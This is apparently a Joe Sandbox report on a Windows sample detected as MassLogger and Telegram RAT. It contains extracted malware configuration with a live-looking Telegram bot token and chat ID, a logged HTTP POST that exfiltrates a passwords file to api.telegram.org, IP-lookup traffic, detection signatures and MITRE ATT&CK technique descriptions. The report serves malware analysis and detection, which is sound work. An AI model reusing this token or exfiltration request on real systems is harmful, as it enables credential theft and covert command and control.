Opcode ID: 7cdb5b18e65eec6e3d252d7d169bb26fe30aa7207673c262dfee646c29d8ba39
Instruction ID: cd49a699953ea6f08209209bcaa5fd7e877a2ee0ceba2943a063f07a9da2a45b
Opcode Fuzzy Hash: 7cdb5b18e65eec6e3d252d7d169bb26fe30aa7207673c262dfee646c29d8ba39
Instruction Fuzzy Hash: 9AD0C931380311BAE6A4BB74DC0BFD76614FB14B50F010825B355EA2D1D9E4A800CB54

Function 00885964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0088596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00885981

Part of subcall function 00865244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 008652BC

Strings

Shell_TrayWnd, xrefs: 00885967

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: bd08d4642b8e729353fe22367c80256f2708fd50546625b52efa7250f7191301
Instruction ID: 0212e04a047e314a3e190338392c3cf6bb2ddc0ba099a2a30cbd636c089ff491
Opcode Fuzzy Hash: bd08d4642b8e729353fe22367c80256f2708fd50546625b52efa7250f7191301
Instruction Fuzzy Hash: 06D0C931384311B6E6A4BB74DC1BFD76A14FB10B50F010825B359EA2D1D9E4A800CB54

Source: 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM", "Telegram Chatid": "7455776561"}
Source: RegSvcs.exe.2172.8.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.7:49737 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.7:49737 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e38f96b8f2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 104.21.80.1 104.21.80.1
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F78C5h	8_2_050F76E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F824Fh	8_2_050F76E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push 00000000h	8_2_050FAE88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F6808h	8_2_050F6560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F18A0h	8_2_050F15F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F56A8h	8_2_050F5400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F3708h	8_2_050F3460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F0740h	8_2_050F0498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F2A00h	8_2_050F2758
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F49A0h	8_2_050F46F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F63B0h	8_2_050F6108
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F1448h	8_2_050F11A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F32B0h	8_2_050F3008
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F02E8h	8_2_050F0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F25A8h	8_2_050F2300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F4548h	8_2_050F42A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F0FF0h	8_2_050F0D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	8_2_050FBC80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F5F58h	8_2_050F5CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F5250h	8_2_050F4FA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F40F0h	8_2_050F3E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F2150h	8_2_050F1EA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then push 00000000h	8_2_050FB9C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F5B00h	8_2_050F5858
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F3B62h	8_2_050F38B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F0B98h	8_2_050F08F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F4DF8h	8_2_050F4B50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F2E58h	8_2_050F2BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	8_2_050F6BF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 050F1CF8h	8_2_050F1A50

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report JWPRnfqs3n.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\autA514.tmp

C:\Users\user\AppData\Local\Temp\cacostomia

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
JWPRnfqs3n.exe

Function 00803B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Function 008049A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00804E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 00869155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00803015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 72
windowregistryCOMMON

Function 00803A46 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 71
windowregistryCOMMON

Function 00803041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 0080708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00803633 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151
windowtimeregistryCOMMON

Function 00803766 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 267
COMMON

Function 00E55280 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 239
fileCOMMON

Function 0080F76F Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 168
comCOMMON

Function 008039D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 00E55040 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 148
fileCOMMON

Function 0080407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre